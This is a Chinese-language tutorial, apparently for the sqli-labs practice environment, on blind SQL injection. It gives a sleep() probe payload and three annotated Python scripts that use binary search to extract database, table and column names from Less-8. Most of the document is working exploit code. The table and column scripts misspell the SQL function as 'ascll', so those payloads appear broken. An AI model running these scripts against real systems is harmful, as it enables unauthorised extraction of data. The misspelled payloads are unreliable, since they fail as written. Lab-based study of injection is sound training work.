使用时间盲注与布尔盲注获取数据库名,表名及列名
1.判断是否有sql注入
?id=1' and sleep(2)--+
2.获取数据库名
import requests
def inject_database(url):
#创建函数
name = ''
for i in range(1, 20):
# 假设数据库名称长度不超过20
low = 48
# ASCII'0'
high = 122
# ASCII'z'
middle = (low + high) // 2
#因为使用二分查找,所以设置中间值
while low < high:
#循环查找
payload = "1' and ascii( substr( database(),%d,1 ) ) > %d-- " % (i, middle)
# substr函数用于从字符串中提取子串。%d是一个占位符,表示从数据库名称的第i个字符开始,提取1个字符。 #database(): 这是一个SQL函数,返回当前数据库的名称。
#ascii函数返回字符的ASCII码值。
#% (i, middle): 这是Python的字符串格式化,将i和middle的值插入到%d的位置,i是数据库名称的第i个字符
params = {"id": payload}
# 这里将构造的payload放入一个字典中
r = requests.get(url, params=params)
#requests.get使用Python的 requests 库发送HTTP GET请求。url 是目标网站的地址
#params 是请求参数,包含了刚刚构造的Payload。服务器会解析这个请求,并执行其中的SQL代码
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text:
# 是否包含 "You are in" 的内容,是则表示成功
low = middle + 1
#low----middle---high 表示字符在middle与high之间
else:
high = middle
#low----middle---high 表示字符在low与middle之间
middle = (low + high) // 2
#再次进行二分查找
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle > 32:
# 跳过空格和不可打印字符
name += chr(middle)
#数据库名字的拼接,所以要跳过空格(ASCII 32)和其他非打印字符
# 每次获取一个字符后打印当前的数据库名
print(f"Current database name: {name}")
# 重置 low 和 high 的值
low = 48
high = 122
middle = (low + high) // 2
print(f"Final database name: {name}")
if __name__ == "__main__":
url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"
#网站地址
inject_database(url)
#包含网站
3.获取查询出来的数据库下的表名
import requests
def inject_table_names(url, database_name):
table_names=[]
# 创建组用于存储所有表名
max_length=20
# 假设每个表名的最大长度为20
# 限制字符范围:数字、字母、下划线
allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]
# 48-58是0-9 65-91是A-Z 97-123是a-z 95是 _
# 获取数据库中所有表的个数
# 查询所有表:我们假设表名的个数不超过100
num_tables=100
for table_index in range(num_tables):
table_name=''
for i in range(1, max_length + 1):
low=min(allowed_chars)
# 最小值:'0',ASCII 48
high=max(allowed_chars)
# 最大值:'z',ASCII 122
middle=(low + high) // 2
#因为使用二分查找,所以设置中间值
while low < high:
# 构造布尔盲注的 payload,查询当前表的名字
payload=f"1' and ascll( substr( (select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1) , {i} ,1) )>{middle}-- "
#在数据库中查找来源于 information_schema.tables 下条件为数据库名为database_name的第table_index个表,并且从查询到的表名称的第i个字符开始,提取1个字符。
params={"id": payload}
r=requests.get(url, params=params)
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text: # 判断返回信息
low=middle + 1
else:
high=middle
middle=(low + high) // 2
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle in allowed_chars: # 确保是有效字符
table_name+=chr(middle)
# 每次获取一个字符后打印当前的表名
print(f"Current table name: {table_name}")
# 重置 low 和 high 的值
low=min(allowed_chars)
high=max(allowed_chars)
middle=(low + high) // 2
if table_name:
# 如果当前表名非空,则保存它
table_names.append(table_name)
# 如果注入出了多个表,可以停止
if len(table_names) >= 6:
# 假设只注入前五个表名
break
print(f"Final table names: {table_names}")
if __name__ == "__main__":
url="http://sqli-labs:8013/Less-8/"
database_name="security"
# 目标数据库名称
inject_table_names(url, database_name)
4.获取查询出来的数据库下的表的列名
import requests
def inject_column_names(url, database_name, table_name):
column_names=[]
# 用于存储所有列名
max_length=20
# 假设列名最大长度为20
# 限制字符范围:数字、字母、下划线
allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]
# 48-58是0-9 65-91是A-Z 97-123是a-z 95是 _
# 获取表的所有列的个数
num_columns=100
# 假设该表最多有100列
for column_index in range(num_columns):
column_name=''
for i in range(1, max_length + 1):
#循环查找
low=min(allowed_chars)
# 最小值:'0',ASCII 48
high=max(allowed_chars)
# 最大值:'z',ASCII 122
middle=(low + high) // 2
while low < high:
# 构造布尔盲注的 payload,查询当前列的名字
payload=f"1' and ascll( substr( (select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {column_index},1),{i},1 ) ) >{middle}-- "
#在数据库中查找来源于 information_schema.tables 下条件为数据库名为database_name的table_name表,并且从查询到的表的列名第i个字符开始,提取1个字符。
params={"id": payload}
r=requests.get(url, params=params)
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text:
# 判断返回信息
low=middle + 1
else:
high=middle
middle=(low + high) // 2
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle in allowed_chars:
# 确保是有效字符
column_name+=chr(middle)
# 每次获取一个字符后打印当前的列名
print(f"Current column name: {column_name}")
# 重置 low 和 high 的值
low=min(allowed_chars)
high=max(allowed_chars)
middle=(low + high) // 2
# 检查是否是有效的列名
if column_name and not column_name.startswith("0"):
# 去掉以 "0" 开头的无效列名
column_names.append(column_name)
# 如果注入出了多个列,可以停止
if len(column_names) >= 6: # 假设只注入前五个列名
break
# 输出最终的列名
print(f"Final column names: {column_names}")
if __name__ == "__main__":
url="http://sqli-labs:8013/Less-8/"
database_name="security"
# 目标数据库名称
table_name="users"
# 目标表名
inject_column_names(url, database_name, table_name)